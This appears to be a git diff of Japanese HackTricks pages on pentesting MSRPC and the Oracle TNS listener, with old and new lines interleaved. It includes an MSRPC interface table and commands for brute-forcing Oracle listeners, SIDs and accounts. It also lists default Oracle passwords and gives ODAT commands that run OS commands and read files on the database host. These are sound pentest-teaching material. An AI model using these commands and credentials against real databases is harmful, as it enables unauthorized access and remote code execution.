||||
Microsoft Remote Procedure Call（MSRPC）プロトコルは、クライアントサーバーモデルであり、プログラムがネットワークの詳細を理解せずに別のコンピューター上のプログラムからサービスを要求できるようにするもので、元々オープンソースソフトウェアから派生し、後にMicrosoftによって開発および著作権が付与されました。
|
||||
|
||||
ホストの設定によっては、RPCエンドポイントマッパーはTCPおよびUDPポート135を介してアクセスでき、SMBを介してヌルまたは認証済みセッション（TCP 139および445）でアクセスでき、TCPポート593でリッスンするWebサービスとしても利用できます。
|
||||
RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139および445でのSMB（ヌルまたは認証セッション）、およびTCPポート593でWebサービスとしてアクセスできます。
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## MSRPCの動作原理は？
|
||||
## MSRPCの動作原理
|
||||
|
||||
[MSRPCプロセスはクライアント側で始まります](https://technet.microsoft.com/en-us/library/cc738291.aspx)。クライアントアプリケーションは、手続きを実装するコードの代わりにローカルスタブ手続きを呼び出します。クライアントスタブコードは、必要なパラメータをクライアントアドレススペースから取得し、それらをクライアントランタイムライブラリに渡します。その後、クライアントランタイムライブラリはパラメータを標準のネットワークデータ表現形式に変換してサーバに送信します。
|
||||
クライアントアプリケーションによって開始されるMSRPCプロセスは、ローカルスタブ手順を呼び出し、それがクライアントランタイムライブラリとやり取りしてリクエストをサーバーに送信することを含みます。これには、パラメータを標準のネットワークデータ表現形式に変換する作業が含まれます。サーバーがリモートの場合、輸送プロトコルの選択はランタイムライブラリによって決定され、RPCがネットワークスタックを介して配信されることが保証されます。
|
||||
|
||||
クライアントスタブは、RPCクライアントランタイムライブラリの関数を呼び出してリクエストとパラメータをサーバに送信します。サーバがリモートにある場合、ランタイムライブラリは適切なトランスポートプロトコルとエンジンを指定し、RPCをネットワークスタックに渡してサーバに転送します。\
|
||||
ここから：[https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/)
|
||||
|
||||
.png>)
|
||||
|
||||
**書籍「ネットワークセキュリティ評価 第3版」からの画像**
|
||||
|
||||
|
||||
## **公開されたRPCサービスの特定**
|
||||
|
||||
**書籍「ネットワークセキュリティ評価 第3版」からの抜粋**
|
||||
|
||||
RPCロケーターサービスと個々のRPCエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMB（名前付きパイプを介して）で実行されている興味深いサービスをカタログ化することができます。このプロセスで収集された各IFID値は、RPCサービスを示します（例：5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fcはMessengerインターフェースです）。
|
||||
|
||||
Todd Sabinのrpcdumpおよびifids Windowsユーティリティは、RPCロケーターと特定のRPCエンドポイントにクエリを実行してIFID値のリストを表示します。rpcdumpの構文は次のとおりです：
|
||||
RPCロケーターサービスと個々のエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開が特定できます。rpcdumpなどのツールを使用すると、**IFID**値によって示される一意のRPCサービスを特定し、サービスの詳細と通信バインディングを明らかにすることができます。
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] 192.168.189.1
|
||||
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:192.168.189.1[1028]
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
RPCロケーターサービスには、以下の4つのプロトコルシーケンスを使用してアクセスできます：
|
||||
|
||||
* ncacn\_ip\_tcpおよびncadg\_ip\_udp（TCPおよびUDPポート135）
|
||||
* ncacn\_np（SMB経由の\pipe\epmapperという名前のパイプ）
|
||||
* ncacn\_http（TCPポート80、593などを介したRPC over HTTP）
|
||||
RPCロケーターサービスへのアクセスは、特定のプロトコルを介して有効になっています: ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、WebベースのRPC通信のためのncacn_httpです。次のコマンドは、Metasploitモジュールを使用してMSRPCサービスを監査および操作する方法を示しています。主にポート135に焦点を当てています:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
|
|
@ -74,63 +61,68 @@ use auxiliary/scanner/dcerpc/management
|
|||
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
||||
rpcdump.py <IP> -p 135
|
||||
```
|
||||
_上記のオプションから、**`tcp_dcerpc_auditor`**以外は、**ポート135**の**msrpc**に対してのみ実行できます。_
|
||||
すべてのオプションは、`tcp_dcerpc_auditor` を除いて、ポート135上のMSRPCをターゲットにするために特別に設計されています。
|
||||
|
||||
#### 注目すべきRPCインターフェース
|
||||
|
||||
| **IFID値** | **名前付きパイプ** | **説明** |
|
||||
| ------------------------------------ | -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | ユーザーの列挙に使用されるLSAインターフェース |
|
||||
| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | ドメインと信頼関係の列挙に使用されるLSAディレクトリサービス（DS）インターフェース |
|
||||
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | 公開SAMデータベース要素（ユーザー名など）にアクセスし、アカウントロックアウトポリシーに関係なくユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
|
||||
| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | コマンドをリモートで実行するために使用されるタスクスケジューラ |
|
||||
| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | システムレジストリにアクセスするために使用されるリモートレジストリサービス |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | サービスコントロールマネージャーおよびサーバーサービスをリモートで開始および停止し、コマンドを実行するために使用される |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | サービスコントロールマネージャーおよびサーバーサービスをリモートで開始および停止し、コマンドを実行するために使用される |
|
||||
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | WMIをサポートするDCOMインターフェース |
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Description**: ユーザーを列挙するために使用されるLSAインターフェース。
|
||||
|
||||
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Description**: ドメインと信頼関係を列挙するために使用されるLSAディレクトリサービス（DS）インターフェース。
|
||||
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
**Named Pipe**: \pipe\samr
|
||||
**Description**: アカウントロックアウトポリシーに関係なく、パブリックSAMデータベース要素（例：ユーザー名）にアクセスし、ユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース。
|
||||
|
||||
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
**Named Pipe**: \pipe\atsvc
|
||||
**Description**: コマンドをリモートで実行するために使用されるタスクスケジューラ。
|
||||
|
||||
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
**Named Pipe**: \pipe\winreg
|
||||
**Description**: システムレジストリにアクセスして変更するために使用されるリモートレジストリサービス。
|
||||
|
||||
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
**Named Pipe**: \pipe\svcctl
|
||||
**Description**: サービスコントロールマネージャーおよびサーバーサービスで、サービスのリモート起動と停止、およびコマンドの実行に使用されます。
|
||||
|
||||
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
**Named Pipe**: \pipe\srvsvc
|
||||
**Description**: サービスコントロールマネージャーおよびサーバーサービスで、サービスのリモート起動と停止、およびコマンドの実行に使用されます。
|
||||
|
||||
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
**Named Pipe**: \pipe\epmapper
|
||||
**Description**: DCOMインターフェースで、WMを介した情報収集と総当たりパスワード攻撃に使用されます。
|
||||
|
||||
### IPアドレスの特定
|
||||
|
||||
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)を使用すると、_**IOXIDResolver**_インターフェース内の_**ServerAlive2**_メソッドを悪用することができます。
|
||||
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver) を使用すると、_**IOXIDResolver**_ インターフェース内の _**ServerAlive2**_ メソッドを悪用することが可能です。
|
||||
|
||||
このメソッドは、HTBボックス_APT_から**IPv6**アドレスのインターフェース情報を取得するために使用されました。0xdfのAPT解説については[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。rpcmap.pyを使用した代替方法については、[Impacket](https://github.com/SecureAuthCorp/impacket/)の_stringbinding_を使用しています（上記を参照）。
|
||||
|
||||
参考文献：
|
||||
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
このメソッドは、HTBボックス _APT_ から **IPv6** アドレスのインターフェース情報を取得するために使用されています。詳細は[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)の0xdf APT解説を参照してください。また、[Impacket](https://github.com/SecureAuthCorp/impacket/) の rpcmap.py を使用した代替方法も含まれています。
|
||||
|
||||
## ポート593
|
||||
|
||||
[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools)の**rpcdump.exe**を使用して、このポートと対話することができます。
|
||||
[https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) の **rpcdump.exe** がこのポートとやり取りできます。
|
||||
|
||||
|
||||
## 参考文献
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです！成長するWeb3セキュリティをマスターしましょう。
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう！
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS＆HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう！**
|
||||
|
|
|
|||
|
|
@ -1,16 +1,16 @@
|
|||
# 1521,1522-1529 - Oracle TNS Listenerのペネトレーションテスト
|
||||
# 1521,1522-1529 - Oracle TNS Listenerのペンテスト
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -18,230 +18,31 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
Oracleデータベース（Oracle DB）は、Oracle Corporationからのリレーショナルデータベース管理システム（RDBMS）です（[こちら](https://www.techopedia.com/definition/8711/oracle-database)から）。
|
||||
|
||||
Oracleを列挙する際の最初のステップは、通常デフォルトポート（1521/TCP、-または1522–1529のセカンダリリスナーが存在することもあります-）に存在するTNS-Listenerに話しかけることです。
|
||||
Oracleを列挙する際の最初のステップは、通常デフォルトポート（1521/TCP、- 1522–1529でもセカンダリリスナーを取得することがあります）に存在するTNSリスナーと通信することです。
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## 概要
|
||||
|
||||
1. **バージョン情報の列挙**（**既知の脆弱性**を検索）
|
||||
2. **TNSリスナー** 通信の**ブルートフォース**（必ずしも必要ではない）
|
||||
3. **SID名**（データベース名のような）の列挙/ブルートフォース
|
||||
4. 発見された有効なSID名の**クレデンシャルのブルートフォース**
|
||||
5. **コード実行**の試み
|
||||
1. **バージョン列挙**:既知の脆弱性を検索するためのバージョン情報を特定します。
|
||||
2. **TNSリスナーブルートフォース**: 通信を確立するために必要な場合があります。
|
||||
3. **SID名の列挙/ブルートフォース**: データベース名（SID）を発見します。
|
||||
4. **資格情報ブルートフォース**: 発見されたSIDへのアクセスを試みます。
|
||||
5. **コード実行**: システム上でコードを実行しようとします。
|
||||
|
||||
MSFのOracleモジュールを使用するためには、いくつかの依存関係をインストールする必要があります：[**インストール**](oracle-pentesting-requirements-installation.md)
|
||||
MSFオラクルモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## 列挙
|
||||
## 投稿
|
||||
|
||||
この目的で使用できるツールには、nmap、MSF、[tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip)があります。
|
||||
これらの投稿をチェックしてください:
|
||||
|
||||
### TNSリスナーバージョン
|
||||
```bash
|
||||
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
|
||||
msf> use auxiliary/scanner/oracle/tnslsnr_version
|
||||
#apt install tnscmd10g
|
||||
tnscmd10g version -p 1521 -h <IP>
|
||||
```
|
||||
他に役立つTNSリスナーコマンド:
|
||||
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
| **コマンド** | **目的** |
|
||||
| ------------ | ----------------------------------------------------------- |
|
||||
| ping | リスナーにpingを送る |
|
||||
| version | リスナーのバージョンとプラットフォーム情報を提供する |
|
||||
| status | リスナーが使用している現在のステータスと変数を返す |
|
||||
| services | サービスデータをダンプする |
|
||||
| debug | リスナーログにデバッグ情報をダンプする |
|
||||
| reload | リスナーの設定ファイルをリロードする |
|
||||
| save\_config | リスナーの設定ファイルをバックアップ場所に書き込む |
|
||||
| stop | リスナーのシャットダウンを呼び出す |
|
||||
|
||||
**エラーが発生した場合**、**TNSバージョンが互換性がない**可能性があります（`tnscmd10`で`--10G`パラメータを使用してください）。また、**エラーが続く場合**、リスナーが**パスワードで保護されている**可能性があります（[**ここで詳細なエラー一覧を見ることができます**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)）— 心配しないでください…ハイドラが救助に来ます\*\*:\*\*
|
||||
```
|
||||
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
|
||||
```
|
||||
TNS リスナーは **MitM** 攻撃に対して脆弱である可能性があります。[サーバーが脆弱であるかどうかを確認し、攻撃を実行する方法についてはこちらを確認してください（バージョン 12c までの全バージョン）](tns-poison.md)。
|
||||
|
||||
### SID 列挙
|
||||
|
||||
#### **SID とは**
|
||||
|
||||
SID（Service Identifier）は基本的にデータベース名です。インストールによっては、1つ以上のデフォルト SID を持つことも、完全にカスタムの dba 定義 SID を持つこともあります。
|
||||
|
||||
**古いバージョンでは（9では機能します）** SID を要求すると、データベースがそれを送信してくれました：
|
||||
```bash
|
||||
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
|
||||
#msf1
|
||||
msf> use auxiliary/scanner/oracle/sid_enum
|
||||
msf> set rhost <IP>
|
||||
msf> run
|
||||
#msf2
|
||||
msf> use auxiliary/admin/oracle/tnscmd
|
||||
msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
|
||||
msf> set rhost <IP>
|
||||
msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
```
|
||||
**SID ブルートフォース**
|
||||
|
||||
nmap と MSF の SID リストを重複なしでこのリストに統合しました：
|
||||
|
||||
{% file src="../../.gitbook/assets/sids-oracle.txt" %}
|
||||
```bash
|
||||
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
|
||||
patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
|
||||
./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
|
||||
msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
|
||||
nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
|
||||
```
|
||||
**oracle\_login** を **patator** で使用するためには、以下を**インストール**する必要があります：
|
||||
```
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
## **アカウントの対象化**
|
||||
|
||||
**SIDを入手しましたか？** 素晴らしいです。次のタスクに移り、ユーザーアカウント情報を抽出しましょう。ここからリスナーに接続し、資格情報のブルートフォースを行うことができます。
|
||||
|
||||
**Metasploit** _\*\*scanner/oracle/oracle\_login_ は、**最も一般的なデフォルト値のユーザーアカウント**情報をlogin:passwordとして提示する組み込みの辞書を持っています。ちなみに、このようなデフォルトエントリはOracleの最も一般的で深刻なセキュリティ問題の一つです。
|
||||
|
||||
**Nmap** も_script oracle-brute_を使ってここで助けになります。このスクリプトは**ログインとパスワードを混合**するので、それぞれのログインに対してすべてのパスワードを試し、かなり時間がかかります！
|
||||
|
||||
### **デフォルトパスワード**
|
||||
|
||||
以下はOracleに関連するいくつかのデフォルトパスワードです：
|
||||
|
||||
* **DBSNMP/DBSNMP** — インテリジェントエージェントがdbサーバーと通信するために使用します（変更するのは少し手間がかかります）
|
||||
* **SYS/CHANGE\_ON\_INSTALL** — Oracle v9を含む以前のデフォルトsysdbaアカウント、バージョン10gからは異なる必要があります！
|
||||
* **PCMS\_SYS/PCMS\_SYS** — デフォルトxアカウント
|
||||
* **WMSYS/WMSYS** — デフォルトxアカウント
|
||||
* **OUTLN/OUTLN** — デフォルトxアカウント
|
||||
* **SCOTT/TIGER** — デフォルトxアカウント
|
||||
|
||||
他の**デフォルトパスワード**は[こちら](http://www.petefinnigan.com/default/oracle_default_passwords.htm)と[こちら](https://cirt.net/passwords?vendor=Oracle)で見つけることができます。
|
||||
|
||||
バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2、および11.2.0.3は**オフラインブルートフォース**に対して脆弱です。[**この技術についてもっと読む。**](remote-stealth-pass-brute-force.md)
|
||||
|
||||
### ユーザー/パス ブルートフォース
|
||||
|
||||
異なるツールはoracleに対して**異なるユーザー/パスリスト**を提供しています：
|
||||
|
||||
* **oscan:** _/usr/share/oscanner/accounts.default_ (169行)
|
||||
* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598行)
|
||||
* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568行)
|
||||
* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687行)
|
||||
|
||||
私はそれらを**混合**し、**重複を削除しました：**
|
||||
|
||||
{% file src="../../.gitbook/assets/users-oracle.txt" %}
|
||||
|
||||
{% file src="../../.gitbook/assets/pass-oracle.txt" %}
|
||||
|
||||
### [ブルートフォース](../../generic-methodologies-and-resources/brute-force.md#oraclesql)
|
||||
|
||||
有効なSIDと有効な資格情報を**知っている**今、データベースに接続するにはツール _**sqlplus**_ が必要で、インストールするにはいくつかのステップを踏む必要があります：
|
||||
|
||||
[インストール](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
既知の資格情報を使用してログインするには：
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
TNS Listenerがデフォルトポート以外で動作している場合（例：TCP/1522）：
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
|
||||
```
|
||||
**アカウントにシステムデータベース権限（sysdba）またはシステムオペレーター（sysop）がある場合**、次の操作を試してみることをお勧めします：
|
||||
```bash
|
||||
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
|
||||
#Example:
|
||||
sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
|
||||
```
|
||||
## **オールインワン**
|
||||
|
||||
**興味深いツールはoscannerです**。これは有効なSIDを取得しようとし、その後有効な認証情報をブルートフォースで見つけ出し、いくつかの情報を抽出しようとします：
|
||||
```bash
|
||||
#apt install oscanner
|
||||
oscanner -s <IP> -P <PORT>
|
||||
```
|
||||
別のツールでこれらの全てを実行するものがあります：[**odat**](https://github.com/quentinhardy/odat)です。
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py --help #It shouldn't be problems in Kali
|
||||
./odat.py all -s <IP> -p <PORT>
|
||||
./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
|
||||
```
|
||||
これらのオプション (_-s_ と _-p_) を使用すると、ODATは最初のステップとして**有効なSID**（システムID）を**検索します**。いくつかのオプションを設定してメソッド（例：ワードリストやブルートフォース攻撃）を構成できます。デフォルトでは、ODATは大きなワードリストを使用し、小規模なブルートフォース攻撃を行います。
|
||||
|
||||
ODATが**少なくとも1つのSID**（例：_ORCL_）を**見つけた場合**、**有効なOracleアカウントを検索します**。これは**見つかった各SIDに対して行います**。資格情報に関するいくつかのオプションを指定できます（例：_--accounts-file_、_--accounts-files_、_--login-as-pwd_）。
|
||||
|
||||
**各有効なアカウント**（例：_SYS_）について、**各有効なインスタンス**（SID）で、ODATは**各Oracleユーザーができること**（例：リバースシェル、ファイルの読み取り、DBAになる）を返します。
|
||||
|
||||
[**Wiki odat**](https://github.com/quentinhardy/odat/wiki)
|
||||
|
||||
## リモートコード実行
|
||||
|
||||
コマンドを実行する方法は少なくとも2つあります。例えば、JavaプロシージャやDBMS\_SCHEDULERパッケージを使用する方法です。ちなみに、実行しているユーザーに十分な権限がある場合、WebアプリケーションでのSQLインジェクションがある場合にもRCEを達成することができます。この段階で、Oracle Database Attacking Tool：[ODAT](https://github.com/quentinhardy/odat)の準備を強くお勧めします。
|
||||
|
||||
### ODATのインストール
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py #It shouldn't be problems in Kali
|
||||
```
|
||||
### Java ストアドプロシージャを介したコード実行
|
||||
```bash
|
||||
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
|
||||
```
|
||||
[詳細はこちら](oracle-rce-and-more.md#rce-java-store-procedure)
|
||||
|
||||
### スケジューラを介したコード実行
|
||||
```bash
|
||||
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
|
||||
```
|
||||
[詳細はこちら](oracle-rce-and-more.md#rce-scheduler)
|
||||
|
||||
### 外部テーブルを介してコードを実行する
|
||||
```bash
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
|
||||
```
|
||||
「ODAT.py」は「CREATE ANY DIRECTORY」という権限を必要とします。これはデフォルトでDBAロールにのみ付与されている権限です。なぜなら、このツールは「あなたの」ディレクトリだけでなく、任意のディレクトリからファイルを実行しようとするからです（この攻撃の手動バージョンは、より少ない権限を必要とします）。
|
||||
|
||||
[詳細はこちら。](oracle-rce-and-more.md#rce-external-tables)
|
||||
|
||||
## ファイルの読み書き
|
||||
```bash
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
